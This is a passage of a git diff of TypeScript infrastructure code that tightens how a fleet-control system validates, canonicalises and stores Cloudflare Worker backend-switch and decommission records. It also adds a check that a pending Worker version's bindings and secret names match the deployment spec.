plainWorkerBindingsToProviderShape(bindings), new Set([ diff --git a/packages/fleet-control/src/provision.ts b/packages/fleet-control/src/provision.ts index 3cf63b51..4711cd37 100644 --- a/packages/fleet-control/src/provision.ts +++ b/packages/fleet-control/src/provision.ts @@ -19,11 +19,14 @@ import { } from './application-bindings.js'; import { assertBackendSwitchInactive, + BACKEND_SWITCH_RECORD_ERROR, type BackendSwitchProvider, + backendSwitchFleetRecordFromUnknown, decommissionBackendSwitch, type FinalizedOrdinaryStateProvider, finalizedBridgeForRecord, reconcileFinalizedBackendSwitchState, + structuralBackendSwitchFleetRecordFromUnknown, } from './backend-switch.js'; import { activeExternalRelease, @@ -34,6 +37,7 @@ import { reconcilePersistedDatabase, retainedExternalReleases, } from './decommission-advance.js'; +import { decommissionAdvanceIntentFromUnknown } from './decommission-intent.js'; import { isSha256 } from './deployment-context.js'; import { WorkerDeploymentError } from './deployment-error.js'; import { @@ -73,6 +77,22 @@ import { validateDeploymentSpec, } from './validation.js'; +function canonicalNormalDecommissionRecord(record: FleetRecord): FleetRecord { + const { decommissionIntent, ...source } = record; + try { + const intent = decommissionAdvanceIntentFromUnknown( + decommissionIntent, + source, + ); + if (intent.identity.mode.kind !== 'normal') { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + return { ...source, decommissionIntent: intent }; + } catch { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } +} + export { assertImmutableDeploymentMapping, reconcilePersistedDatabase, @@ -92,6 +112,26 @@ export class ProvisioningError extends Error { } } +function canonicalStructuralValue(value: unknown): unknown { + if (Array.isArray(value)) return value.map(canonicalStructuralValue); + if (!value || typeof value !== 'object') return value; + return Object.fromEntries( + Object.keys(value as Record) + .sort((left, right) => (left < right ? -1 : left > right ? 1 : 0)) + .map((key) => [ + key, + canonicalStructuralValue((value as Record)[key]), + ]), + ); +} + +function sameCanonicalStructure(left: unknown, right: unknown): boolean { + return ( + JSON.stringify(canonicalStructuralValue(left)) === + JSON.stringify(canonicalStructuralValue(right)) + ); +} + function nowIso(clock: () => number): string { return new Date(clock()).toISOString(); } @@ -693,12 +733,18 @@ async function provisionDeploymentUnderLease( rollbackCompatibleTarget, ); if ( - JSON.stringify(platform.resources) !== - JSON.stringify(converged.platformResources) || - JSON.stringify(rollbackCompatibleTarget) !== - JSON.stringify(converged.platformTarget) || - JSON.stringify(rollbackCompatibleTarget.outboundPolicy) !== - JSON.stringify(converged.outboundPolicy) + !sameCanonicalStructure( + platform.resources, + converged.platformResources, + ) || + !sameCanonicalStructure( + rollbackCompatibleTarget, + converged.platformTarget, + ) || + !sameCanonicalStructure( + rollbackCompatibleTarget.outboundPolicy, + converged.outboundPolicy, + ) ) { converged = { ...converged, @@ -972,6 +1018,7 @@ async function provisionDeploymentUnderLease( ); workerCreated = deployed.created; workerResourceState = deployed.created ? 'present' : 'absent'; + const deployedDurableObjectTag = targetDurableObjectTag(spec); record = { ...record, phase: 'worker-deployed', @@ -996,7 +1043,9 @@ async function provisionDeploymentUnderLease( }, } : {}), - durableObjectTag: targetDurableObjectTag(spec), + ...(deployedDurableObjectTag + ? { durableObjectTag: deployedDurableObjectTag } + : {}), ...(spec.authoredBy === 'platform' ? { durableObjectMigrationHistory: @@ -1121,11 +1170,14 @@ async function provisionDeploymentUnderLease( 'maintenance bootstrap', ); } + const liveDurableObjectTag = targetDurableObjectTag(spec); record = { ...record, phase: 'maintenance-armed', artifactVersion: live.artifactVersion, - durableObjectTag: targetDurableObjectTag(spec), + ...(liveDurableObjectTag + ? { durableObjectTag: liveDurableObjectTag } + : {}), ...(spec.authoredBy === 'platform' ? { durableObjectMigrationHistory: @@ -1235,11 +1287,14 @@ async function provisionDeploymentUnderLease( readyRecord.activeRelease = readyRecord.pendingRelease; delete readyRecord.pendingRelease; } + const routedDurableObjectTag = targetDurableObjectTag(spec); record = { ...readyRecord, phase: 'ready', artifactVersion: attestation.artifactVersion, - durableObjectTag: targetDurableObjectTag(spec), + ...(routedDurableObjectTag + ? { durableObjectTag: routedDurableObjectTag } + : {}), durableObjectBindings: live.durableObjectBindings, updatedAt: nowIso(clock), }; @@ -1549,14 +1604,34 @@ export interface DecommissionDeploymentOptions { export async function decommissionDeployment( options: DecommissionDeploymentOptions, ): Promise { - const current = await options.store.get( + const loaded = await options.store.get( options.spec.tenantTag, options.spec.environment, ); - if ( - current?.backendSwitchIntent && - current.backendSwitchIntent.subphase !== 'decommissioned' - ) { + const reconstructed = + loaded === undefined + ? undefined + : structuralBackendSwitchFleetRecordFromUnknown(loaded); + let current = reconstructed?.record; + if (reconstructed?.carriesBackendSwitchAuthority) { + current = backendSwitchFleetRecordFromUnknown(current).record; + const currentSwitch = current.backendSwitchIntent; + if (!currentSwitch) { + throw new Error('backend switch decommission record is malformed'); + } + if (currentSwitch.subphase === 'decommissioned') { + if (!currentSwitch.databaseExport) { + throw new Error( + 'backend switch decommission did not commit its export', + ); + } + const result = { + record: current, + databaseExport: currentSwitch.databaseExport, + }; + await emitDecommissionAudit(options.audit, result.record, false); + return result; + } if (!options.backendSwitch) { throw new Error( 'active backend switch decommission requires its dedicated provider and both specifications', @@ -1567,20 +1642,25 @@ export async function decommissionDeployment( provider: options.backendSwitch.provider, priorSpec: options.backendSwitch.priorSpec, targetSpec: options.backendSwitch.targetSpec, + currentSpec: options.spec, }); - const record = await options.store.get( + const stored = await options.store.get( options.spec.tenantTag, options.spec.environment, ); - if (!record || !intent.databaseExport) { + const record = backendSwitchFleetRecordFromUnknown(stored).record; + if (!intent.databaseExport) { throw new Error('backend switch decommission did not commit its export'); } const result = { record, databaseExport: intent.databaseExport }; await emitDecommissionAudit(options.audit, result.record, false); return result; } - const hasNormalIntent = - current?.decommissionIntent?.identity.mode.kind === 'normal'; + let hasNormalIntent = false; + if (current?.decommissionIntent !== undefined) { + current = canonicalNormalDecommissionRecord(current); + hasNormalIntent = true; + } const shellLessLatePhase = current !== undefined && current.decommissionIntent === undefined && diff --git a/packages/fleet-control/src/state-store.ts b/packages/fleet-control/src/state-store.ts index 88411f29..45bf0d41 100644 --- a/packages/fleet-control/src/state-store.ts +++ b/packages/fleet-control/src/state-store.ts @@ -1,7 +1,12 @@ // SPDX-License-Identifier: Apache-2.0 import { createHash, randomUUID } from 'node:crypto'; -import { backendSwitchIntentFromUnknown } from './backend-switch.js'; +import { + BACKEND_SWITCH_RECORD_ERROR, + backendSwitchFleetRecordFromUnknown, + backendSwitchIntentFromUnknown, + structuralBackendSwitchFleetRecordFromUnknown, +} from './backend-switch.js'; import { DECOMMISSION_INTENT_BYTE_BOUND, decommissionAdvanceIntentFromUnknown, @@ -1190,15 +1195,51 @@ function toRecord(row: Readonly>): FleetRecord { : {}), updatedAt: rowString(row, 'updated_at'), }; + let rawDecommissionIntent: unknown; + try { + const value = row.decommission_intent; + if (value !== null && value !== undefined) { + if ( + typeof value !== 'string' || + value.length > DECOMMISSION_INTENT_BYTE_BOUND || + new TextEncoder().encode(value).byteLength > + DECOMMISSION_INTENT_BYTE_BOUND + ) { + throw new Error(); + } + rawDecommissionIntent = JSON.parse(value) as unknown; + } + } catch { + if (backendSwitchIntent) throw new Error(BACKEND_SWITCH_RECORD_ERROR); + throw invalidDecommissionIntent(); + } + const reconstructed = structuralBackendSwitchFleetRecordFromUnknown({ + ...provisional, + ...(rawDecommissionIntent === undefined + ? {} + : { decommissionIntent: rawDecommissionIntent }), + }); + if (reconstructed.carriesBackendSwitchAuthority) { + const canonical = backendSwitchFleetRecordFromUnknown( + reconstructed.record, + ).record; + validateRecordCrossFields(canonical); + return canonical; + } + const { decommissionIntent: _rawDecommissionIntent, ...normalProvisional } = + reconstructed.record; const decommissionIntent = optionalDecommissionIntent( row.decommission_intent, - provisional, + normalProvisional, ); - if (phase === 'decommission-advancing' && !decommissionIntent) { + if ( + normalProvisional.phase === 'decommission-advancing' && + !decommissionIntent + ) { throw invalidDecommissionIntent(); } const record: FleetRecord = { - ...provisional, + ...normalProvisional, ...(decommissionIntent ? { decommissionIntent } : {}), }; validateRecordCrossFields(record); @@ -1206,6 +1247,13 @@ function toRecord(row: Readonly>): FleetRecord { } function normalizeRecordForWrite(record: FleetRecord): FleetRecord { + const reconstructed = structuralBackendSwitchFleetRecordFromUnknown(record); + record = reconstructed.record; + if (reconstructed.carriesBackendSwitchAuthority) { + const canonical = backendSwitchFleetRecordFromUnknown(record).record; + validateRecordCrossFields(canonical); + return canonical; + } const hasDecommissionIntent = Object.hasOwn(record, 'decommissionIntent'); const suppliedDecommissionIntent = record.decommissionIntent; if (hasDecommissionIntent && suppliedDecommissionIntent === undefined) { @@ -1801,13 +1849,13 @@ export class D1FleetStateStore token: string, record: FleetRecord, ): Promise { + record = normalizeRecordForWrite(record); deploymentKey(record.tenantTag, record.environment); if (record.tenantTag !== tenantTag || record.environment !== environment) { throw new Error( `deployment lease '${tenantTag}:${environment}' cannot write '${record.tenantTag}:${record.environment}'`, ); } - record = normalizeRecordForWrite(record); const decommissionIntent = record.decommissionIntent ? JSON.stringify(record.decommissionIntent) : null; diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index b975c00d..4a4386aa 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import type { InitialExecutionFenceState } from '@proofoftech/flowsafe/deployment-identity-protocol'; +import type { HostRoutingTarget } from './host-routing.js'; /** * The execution-fence state a freshly provisioned deployment is born in — @@ -298,6 +299,149 @@ export interface ExternalPlatformTargetDescription { readonly outboundPolicy: DeploymentEgressPolicy; } +export const BACKEND_SWITCH_SUBPHASES = [ + 'planned', + 'bridge-upload-authorized', + 'bridge-deployed', + 'candidate-deploy-authorized', + 'candidate-deployed', + 'host-publish-authorized', + 'host-published', + 'domain-detach-authorized', + 'dispatch-serving', + 'bridge-private-authorized', + 'bridge-private', + 'ownership-commit-authorized', + 'ready', + 'rollback-route-authorized', + 'rollback-routed', + 'rollback-drain-authorized', + 'rollback-drained', + 'rollback-restore-authorized', + 'rollback-restored', + 'rollback-ownership-authorized', + 'rolled-back', + 'finalize-authorized', + 'finalized', + 'decommission-traffic-authorized', + 'decommission-traffic-removed', + 'decommission-candidate-authorized', + 'decommission-candidate-removed', + 'decommission-bridge-authorized', + 'decommission-bridge-removed', + 'decommission-application-r2-authorized', + 'decommission-application-r2-removed', + 'decommission-export-authorized', + 'decommission-exported', + 'decommission-database-authorized', + 'decommissioned', +] as const; + +export type BackendSwitchSubphase = (typeof BACKEND_SWITCH_SUBPHASES)[number]; + +export interface PlainBackendSnapshot { + readonly scriptName: string; + readonly artifactVersion: string; + readonly specDigest: string; + readonly databaseId: string; + readonly databaseName: string; + readonly durableObjectBindings: readonly DurableObjectBindingInventory[]; + readonly namespaceIds: readonly string[]; + readonly secretNames: readonly string[]; + readonly application?: ApplicationBindingTopology; + readonly applicationResources: readonly ApplicationR2Resource[]; + readonly customDomain: Readonly<{ id: string; hostname: string }>; +} + +export interface BridgeSnapshot { + readonly scriptName: string; + readonly artifactVersion: string; + readonly artifactDigest: string; + readonly databaseId: string; + readonly durableObjectBindings: readonly DurableObjectBindingInventory[]; + readonly namespaceIds: readonly string[]; + readonly secretNames: readonly string[]; + readonly application?: ApplicationBindingTopology; + readonly publicRouteAttached: boolean; + readonly stateOnly: boolean; +} + +export interface BridgeMutationPlan { + readonly artifactDigest: string; + readonly durableObjectMigrations: readonly DurableObjectMigration[]; + readonly priorDurableObjectTag?: string; + readonly targetDurableObjectTag?: string; + readonly secretNames: readonly string[]; + readonly mutationDigest: string; +} + +export interface BackendSwitchCandidateSnapshot + extends ExternalReleaseSnapshot { + readonly maintenance: Readonly<{ + receipt: string; + specDigest: string; + }>; +} + +export interface BackendSwitchApplicationR2Progress { + readonly resource: ApplicationR2Resource; + readonly subphase: ApplicationR2Resource['state']; +} + +export interface BackendSwitchDecommissionRelease { + readonly release: ExternalReleaseSnapshot; + readonly subphase: 'present' | 'delete-authorized' | 'deleted'; +} + +export interface BackendSwitchDecommissionRouteTarget { + readonly release: ExternalReleaseSnapshot; + readonly target: ExternalPlatformTargetDescription; + readonly routeTarget: HostRoutingTarget; +} + +export interface BackendSwitchDecommissionSnapshot { + readonly prior?: PlainBackendSnapshot; + readonly restoredArtifactVersion?: string | null; + readonly entryPendingArtifactVersion?: string | null; + readonly entryPendingNamespaceIds?: readonly string[] | null; + readonly providerTargetSpecDigest?: string; + readonly routeHostname: string; + readonly routeTargets: readonly BackendSwitchDecommissionRouteTarget[]; + readonly desiredSpecDigest: string; + readonly target: ExternalPlatformTargetDescription; + readonly releases: readonly BackendSwitchDecommissionRelease[]; + readonly applicationResources: readonly ApplicationR2Resource[]; + readonly bridge?: BridgeSnapshot; + readonly resources?: ExternalPlatformResources; + readonly bridgePlan?: BridgeMutationPlan; +} + +export interface BackendSwitchIntent { + readonly kind: 'backend-switch'; + readonly tenantTag: string; + readonly environment: string; + readonly prior: PlainBackendSnapshot; + readonly targetSpecDigest: string; + readonly targetApplication: ApplicationBindingTopology; + readonly target: ExternalPlatformTargetDescription; + readonly rollbackUntil: string; + readonly subphase: BackendSwitchSubphase; + readonly bridgePlan?: BridgeMutationPlan; + readonly bridge?: BridgeSnapshot; + readonly candidate?: BackendSwitchCandidateSnapshot; + readonly restoredArtifactVersion?: string; + readonly databaseExport?: DatabaseExport; + readonly applicationR2Progress?: readonly BackendSwitchApplicationR2Progress[]; + readonly stateReconcileIntent?: Readonly<{ + targetSpecDigest: string; + plan: BridgeMutationPlan; + subphase: 'upload-authorized' | 'uploaded'; + }>; + readonly decommissionSnapshot?: BackendSwitchDecommissionSnapshot; + readonly decommissionSnapshotSha256?: string; + readonly decommissionEntrySubphase?: BackendSwitchSubphase; +} + export type ExternalMigrationSubphase = | 'planned' | 'schema-applied' @@ -354,7 +498,8 @@ export type DecommissionOperationMode = priorSpecDigest: string; targetSpecDigest: string; decommissionSnapshotSha256: string; - backendSwitchSubphase: import('./backend-switch.js').BackendSwitchSubphase; + /** Immutable entry subphase, not the switch's current progress. */ + backendSwitchSubphase: BackendSwitchSubphase; }>; export interface DecommissionOperationIdentity { @@ -597,7 +742,7 @@ export interface FleetRecord { readonly platformResources?: ExternalPlatformResources; readonly platformTarget?: ExternalPlatformTargetDescription; readonly migrationIntent?: ExternalMigrationIntent; - readonly backendSwitchIntent?: import('./backend-switch.js').BackendSwitchIntent; + readonly backendSwitchIntent?: BackendSwitchIntent; readonly decommissionIntent?: DecommissionAdvanceIntent; readonly applicationResources?: readonly ApplicationR2Resource[]; readonly applicationBindings?: ApplicationBindingTopology; @@ -867,11 +1012,17 @@ export type PlainWorkerVersionBinding = name: string | undefined; className: string | undefined; namespaceId: string | undefined; + /** Optional provider script selector retained without reinterpretation. */ + scriptName?: string; + /** Optional provider dispatch selector retained without reinterpretation. */ + dispatchNamespace?: string; }> | Readonly<{ type: 'service'; name: string | undefined; service: string | undefined; + /** Optional service entrypoint retained for exact-version comparison. */ + entrypoint?: string; }> | Readonly<{ type: 'queue-producer'; @@ -882,6 +1033,8 @@ export type PlainWorkerVersionBinding = type: 'r2-bucket'; name: string | undefined; bucketName: string | undefined; + /** Provider-observable jurisdiction when Fleet can represent it. */ + jurisdiction?: 'eu' | 'fedramp'; }> | Readonly<{ type: 'plain-text'; @@ -911,6 +1064,21 @@ export type PlainWorkerVersionBinding = /** Raw unsupported provider binding type. */ providerType: string; issue: 'unsupported-type'; + }> + | Readonly<{ + type: 'unsupported'; + name: string | undefined; + /** Supported raw provider type whose decision fields were malformed. */ + providerType: + | 'd1' + | 'durable_object_namespace' + | 'service' + | 'queue' + | 'r2_bucket' + | 'plain_text' + | 'secret_text'; + /** Prevents malformed supported input from being normalized lossily. */ + issue: 'malformed-supported-binding'; }>; /** Provider facts for one ordinary Worker version summary. */ diff --git a/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts b/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts index 61c1acfc..d1b53fa1 100644 --- a/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts +++ b/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts @@ -6,6 +6,7 @@ import { AUDIT_PROXY_INSTANCE_NAME } from '@proofoftech/flowsafe/audit-export'; import { applicationBindingTopology, applicationSecretValues, + canonicalApplicationBindings, DEPLOYMENT_PLATFORM_VARIABLE_NAMES, LEGACY_BRIDGE_PLATFORM_VARIABLE_NAMES, liveApplicationTopologyMatches, @@ -17,9 +18,14 @@ import type { BridgeMutationPlan, BridgeSnapshot, PlainBackendSnapshot, + SwitchEntryPendingArtifactInspection, } from './backend-switch.js'; import { finalizedBridgeForRecord } from './backend-switch.js'; import { workerMigrations } from './cloudflare-ordinary-worker-operations.js'; +import { + captureDatabaseExportReceiptCapability, + databaseExportReceiptIdentityFromUnknown, +} from './database-export-store.js'; import type { HostRoutingTarget } from './host-routing.js'; import { parseHostRoutingTarget } from './host-routing.js'; import { d1MigrationHistoryDigest } from './migration-ledger.js'; @@ -35,10 +41,17 @@ import { trustedArtifactDigest, validateExternalPlatformProfile, } from './platform-resources.js'; -import { assertProviderBindingIdentitiesMatchInspection } from './provider-binding-inventory.js'; +import { + assertProviderBindingIdentitiesMatchInspection, + assertSupportedPlainWorkerBindings, +} from './provider-binding-inventory.js'; import { deploymentSpecDigest } from './spec-digest.js'; import type { ApplicationBindingTopology, + DatabaseExportReceiptIdentity, + DatabaseReference, + DecommissionAttachmentScanInput, + DecommissionAttachmentScanResult, DeploymentSecrets, DeploymentSpec, DurableObjectBindingInventory, @@ -246,6 +259,45 @@ function sameJson(left: unknown, right: unknown): boolean { return JSON.stringify(left) === JSON.stringify(right); } +function sortedRecordEntries( + value: Readonly>, +): readonly (readonly [string, string])[] { + return Object.entries(value).sort(([left], [right]) => + left < right ? -1 : left > right ? 1 : 0, + ); +} + +const PLAIN_WORKER_INGRESS_CONTRACT = 'guarded-object-v1'; + +function sortByName>( + values: readonly T[], +): readonly T[] { + return [...values].sort((left, right) => + left.name < right.name ? -1 : left.name > right.name ? 1 : 0, + ); +} + +function canonicalUniqueNames(value: readonly string[]): readonly string[] { + if ( + !Array.isArray(value) || + value.some( + (name) => + typeof name !== 'string' || name.length === 0 || name !== name.trim(), + ) + ) { + throw new Error('backend switch pending artifact inspection is malformed'); + } + const names = [...value].sort(); + if (new Set(names).size !== names.length) { + throw new Error('backend switch pending artifact inspection is malformed'); + } + return names; +} + +function pendingArtifactInspectionMalformed(): Error { + return new Error('backend switch pending artifact inspection is malformed'); +} + type ProviderControlWorkerInspection = NonNullable< Awaited> >; @@ -464,6 +516,17 @@ export interface WorkersForPlatformsBackendSwitchProviderOptions { } export interface BackendSwitchApi extends WorkersForPlatformsApi { + /** Intersects exact namespace IDs through one bounded account inventory. */ + existingDurableObjectNamespaceIds( + ids: readonly string[], + ): Promise; + /** Reads exactly one immutable ordinary Worker version by provider ID. */ + findOrdinaryWorkerVersion( + scriptName: string, + versionId: string, + ): Promise; + /** Reads the authoritative name-only secret inventory for one script. */ + listOrdinaryWorkerSecretNames(scriptName: string): Promise; listCustomDomains(): Promise< readonly Readonly<{ id: string; hostname: string; service: string }>[] >; @@ -499,11 +562,35 @@ export interface SwitchBridgeRemovalAuthority { readonly plan?: BridgeMutationPlan; readonly targetSpec: DeploymentSpec; readonly allowedArtifactVersions: readonly string[]; + /** + * Call-local immutable authority for a pending ordinary Worker captured + * before the decommission shell committed. + */ + readonly entryPendingArtifact?: Readonly<{ + readonly artifactVersion: string; + readonly namespaceIds: readonly string[]; + readonly spec: DeploymentSpec; + }>; } export class WorkersForPlatformsBackendSwitchProvider implements BackendSwitchProvider { + /** Bounded attachment scan capability captured from the client receiver. */ + declare readonly advanceSwitchDecommissionAttachmentScan?: ( + input: DecommissionAttachmentScanInput, + ) => Promise; + /** Immutable receipt authority paired with `exportSwitchDatabaseReceipt`. */ + declare readonly databaseExportReceiptAuthority?: string; + /** Operation-scoped export receipt captured from the client receiver. */ + declare readonly exportSwitchDatabaseReceipt?: ( + identity: DatabaseExportReceiptIdentity, + input: Readonly<{ + prior: PlainBackendSnapshot; + targetSpec: DeploymentSpec; + fence: BackendSwitchMutationFence; + }>, + ) => Promise; readonly #client: BackendSwitchApi; readonly #backend: WorkersForPlatformsBackend; readonly #hostRoutingKvId: string; @@ -534,6 +621,44 @@ export class WorkersForPlatformsBackendSwitchProvider this.#platformProfileFor = options.platformProfileFor; this.#assertServing = options.assertServing; this.#drainCandidate = options.drainCandidate; + const advanceAttachmentScan = + options.client.advanceDecommissionAttachmentScan; + if (typeof advanceAttachmentScan === 'function') { + this.advanceSwitchDecommissionAttachmentScan = advanceAttachmentScan.bind( + options.client, + ); + } + const receiptCapability = captureDatabaseExportReceiptCapability( + options.client, + () => [ + options.client.databaseExportReceiptAuthority, + options.client.exportDatabaseReceipt, + ], + ); + if (receiptCapability) { + const exportDatabaseReceipt = receiptCapability.method as NonNullable< + BackendSwitchApi['exportDatabaseReceipt'] + >; + this.databaseExportReceiptAuthority = receiptCapability.authority; + this.exportSwitchDatabaseReceipt = (identity, input) => { + const canonical = databaseExportReceiptIdentityFromUnknown( + identity, + receiptCapability.authority, + ); + if ( + canonical.databaseId !== input.prior.databaseId || + input.prior.databaseName !== input.targetSpec.databaseName || + input.prior.scriptName !== input.targetSpec.scriptName + ) { + throw new Error( + 'backend-switch database identity changed before teardown', + ); + } + return this.#client.withMutationFence(input.fence, () => + exportDatabaseReceipt(canonical), + ); + }; + } } async #inspectControlWorker(scriptName: string) { @@ -558,6 +683,229 @@ export class WorkersForPlatformsBackendSwitchProvider return inspection; } + /** + * Captures one immutable pending ordinary Worker version without adopting + * active-deployment or account-wide namespace observations as authority. + */ + async captureSwitchEntryPendingArtifact( + input: Readonly<{ + readonly expectedArtifactVersion: string; + readonly spec: DeploymentSpec; + readonly currentRecord: FleetRecord; + readonly fence: BackendSwitchMutationFence; + }>, + ): Promise { + const [version, secretInventory] = await Promise.all([ + this.#client.findOrdinaryWorkerVersion( + input.spec.scriptName, + input.expectedArtifactVersion, + ), + this.#client.listOrdinaryWorkerSecretNames(input.spec.scriptName), + ]); + try { + if (!version) throw pendingArtifactInspectionMalformed(); + const specDigest = deploymentSpecDigest(input.spec); + if ( + version.versionId !== input.expectedArtifactVersion || + version.tag !== specDigest || + input.currentRecord.tenantTag !== input.spec.tenantTag || + input.currentRecord.environment !== input.spec.environment || + input.currentRecord.scriptName !== input.spec.scriptName || + input.currentRecord.databaseName !== input.spec.databaseName + ) { + throw pendingArtifactInspectionMalformed(); + } + assertSupportedPlainWorkerBindings( + version.bindings, + `plain Worker '${input.spec.scriptName}' pending version`, + ); + const databaseBindings = version.bindings.flatMap((binding) => + binding.type === 'd1' && + typeof binding.name === 'string' && + typeof binding.databaseId === 'string' + ? [{ name: binding.name, databaseId: binding.databaseId }] + : [], + ); + const durableObjectBindings = sortByName( + version.bindings.flatMap((binding) => + binding.type === 'durable-object' && + typeof binding.name === 'string' && + typeof binding.className === 'string' && + typeof binding.namespaceId === 'string' + ? [ + { + name: binding.name, + className: binding.className, + namespaceId: binding.namespaceId, + ...(binding.scriptName === undefined + ? {} + : { scriptName: binding.scriptName }), + ...(binding.dispatchNamespace === undefined + ? {} + : { dispatchNamespace: binding.dispatchNamespace }), + }, + ] + : [], + ), + ); + const serviceBindings = sortByName( + version.bindings.flatMap((binding) => + binding.type === 'service' && + typeof binding.name === 'string' && + typeof binding.service === 'string' + ? [ + { + name: binding.name, + service: binding.service, + ...(binding.entrypoint === undefined + ? {} + : { entrypoint: binding.entrypoint }), + }, + ] + : [], + ), + ); + const queueProducerBindings = sortByName( + version.bindings.flatMap((binding) => + binding.type === 'queue-producer' && + typeof binding.name === 'string' && + typeof binding.queueName === 'string' + ? [{ name: binding.name, queueName: binding.queueName }] + : [], + ), + ); + const r2BucketBindings = sortByName( + version.bindings.flatMap((binding) => + binding.type === 'r2-bucket' && + typeof binding.name === 'string' && + typeof binding.bucketName === 'string' + ? [ + { + name: binding.name, + bucketName: binding.bucketName, + ...(binding.jurisdiction === undefined + ? {} + : { jurisdiction: binding.jurisdiction }), + }, + ] + : [], + ), + ); + const plainTextBindings = Object.fromEntries( + version.bindings.flatMap((binding) => + binding.type === 'plain-text' && + typeof binding.name === 'string' && + typeof binding.value === 'string' + ? [[binding.name, binding.value] as const] + : [], + ), + ); + const versionSecretNames = canonicalUniqueNames( + version.bindings.flatMap((binding) => + binding.type === 'secret-text' && typeof binding.name === 'string' + ? [binding.name] + : [], + ), + ); + const authoritativeSecretNames = canonicalUniqueNames(secretInventory); + const application = applicationBindingTopology( + input.spec, + input.currentRecord.applicationResources ?? [], + ); + const expectedDurableObjectBindings = sortByName( + input.spec.durableObjectBindings.map((binding) => ({ ...binding })), + ); + const expectedServiceBindings = input.spec.egressProxyService + ? [{ name: 'EGRESS_PROXY', service: input.spec.egressProxyService }] + : []; + const expectedQueueProducerBindings = input.spec.queueProducer + ? [ + { + name: input.spec.queueProducer.binding, + queueName: input.spec.queueProducer.queueName, + }, + ] + : []; + const expectedPlainTextBindings = Object.fromEntries( + [ + { name: 'DEPLOYMENT_TENANT', value: input.spec.tenantTag }, + { name: 'FLEET_ENVIRONMENT', value: input.spec.environment }, + { + name: 'FLEET_SCHEMA_VERSION', + value: String(input.spec.schemaVersion), + }, + { name: 'FLEET_SPEC_DIGEST', value: specDigest }, + { + name: 'FLEET_INGRESS_CONTRACT', + value: PLAIN_WORKER_INGRESS_CONTRACT, + }, + ...canonicalApplicationBindings(input.spec).vars, + ].map(({ name, value }) => [name, value] as const), + ); + const expectedSecrets = expectedSecretNames(false, application); + const expectedR2Bindings = sortByName( + application.r2Buckets.map(({ name, bucketName, jurisdiction }) => ({ + name, + bucketName, + jurisdiction, + })), + ); + const observedR2Identity = r2BucketBindings.map( + ({ name, bucketName, jurisdiction }) => ({ + name, + bucketName, + jurisdiction: + jurisdiction ?? + expectedR2Bindings.find((binding) => binding.name === name) + ?.jurisdiction, + }), + ); + if ( + !sameJson(databaseBindings, [ + { name: 'DB', databaseId: input.currentRecord.databaseId }, + ]) || + !sameJson( + durableObjectBindings.map( + ({ name, className, scriptName, dispatchNamespace }) => ({ + name, + className, + ...(scriptName === undefined ? {} : { scriptName }), + ...(dispatchNamespace === undefined ? {} : { dispatchNamespace }), + }), + ), + expectedDurableObjectBindings, + ) || + new Set(durableObjectBindings.map(({ namespaceId }) => namespaceId)) + .size !== durableObjectBindings.length || + !sameJson(serviceBindings, expectedServiceBindings) || + !sameJson(queueProducerBindings, expectedQueueProducerBindings) || + !sameJson(observedR2Identity, expectedR2Bindings) || + !sameJson( + sortedRecordEntries(plainTextBindings), + sortedRecordEntries(expectedPlainTextBindings), + ) || + !sameJson(authoritativeSecretNames, expectedSecrets) || + (versionSecretNames.length > 0 && + !sameJson(versionSecretNames, authoritativeSecretNames)) || + !sameJson(input.currentRecord.applicationBindings, application) + ) { + throw pendingArtifactInspectionMalformed(); + } + return { + artifactVersion: input.expectedArtifactVersion, + specDigest, + databaseIds: [input.currentRecord.databaseId], + durableObjectBindings, + secretNames: authoritativeSecretNames, + serviceBindings, + queueProducerBindings, + application, + } satisfies SwitchEntryPendingArtifactInspection; + } catch { + throw pendingArtifactInspectionMalformed(); + } + } + #profile(spec: DeploymentSpec): ExternalPlatformProfile { const profile = this.#platformProfileFor(spec); validateExternalPlatformProfile(spec, profile); @@ -1738,8 +2086,15 @@ export class WorkersForPlatformsBackendSwitchProvider this.#profile(input.targetSpec), input.targetSpec.queueProducer !== undefined, ); + const { + pendingSpecDigest: _pendingSpecDigest, + pendingArtifactVersion: _pendingArtifactVersion, + pendingRelease: _pendingRelease, + migrationIntent: _migrationIntent, + ...currentRecord + } = input.currentRecord; return { - ...input.currentRecord, + ...currentRecord, backend: 'workers-for-platforms', scriptName: input.prior.scriptName, databaseId: input.prior.databaseId, @@ -1786,10 +2141,6 @@ export class WorkersForPlatformsBackendSwitchProvider sharedOutboundWorkerName: this.#sharedOutboundWorkerName, }, phase: 'ready', - pendingSpecDigest: undefined, - pendingArtifactVersion: undefined, - pendingRelease: undefined, - migrationIntent: undefined, }; } @@ -2430,6 +2781,119 @@ export class WorkersForPlatformsBackendSwitchProvider return bindings; } + #pendingEntryWorkerMatches( + live: ProviderControlWorkerInspection, + input: SwitchBridgeRemovalAuthority, + ): boolean { + const pending = input.entryPendingArtifact; + if (!pending || live.artifactVersion !== pending.artifactVersion) { + return false; + } + let application: ApplicationBindingTopology; + try { + const descriptors = canonicalApplicationBindings(pending.spec); + const liveR2 = sortByName(live.r2BucketBindings ?? []); + if ( + !sameJson( + liveR2.map(({ name, jurisdiction }) => ({ name, jurisdiction })), + descriptors.r2Buckets.map(({ name, jurisdiction }) => ({ + name, + jurisdiction: jurisdiction ?? 'default', + })), + ) + ) { + return false; + } + application = { + vars: descriptors.vars, + secrets: descriptors.secrets, + r2Buckets: liveR2, + }; + } catch { + return false; + } + const expectedDurableObjectBindings = sortByName( + pending.spec.durableObjectBindings.map((binding) => ({ ...binding })), + ); + const liveDurableObjectBindings = sortByName( + live.durableObjectBindings.map( + ({ name, className, scriptName, dispatchNamespace }) => ({ + name, + className, + ...(scriptName === undefined ? {} : { scriptName }), + ...(dispatchNamespace === undefined ? {} : { dispatchNamespace }), + }), + ), + ); + const expectedServiceBindings = pending.spec.egressProxyService + ? [ + { + name: 'EGRESS_PROXY', + service: pending.spec.egressProxyService, + }, + ] + : []; + const expectedQueueBindings = pending.spec.queueProducer + ? [ + { + name: pending.spec.queueProducer.binding, + queueName: pending.spec.queueProducer.queueName, + }, + ] + : []; + return ( + deploymentSpecDigest(pending.spec) === + 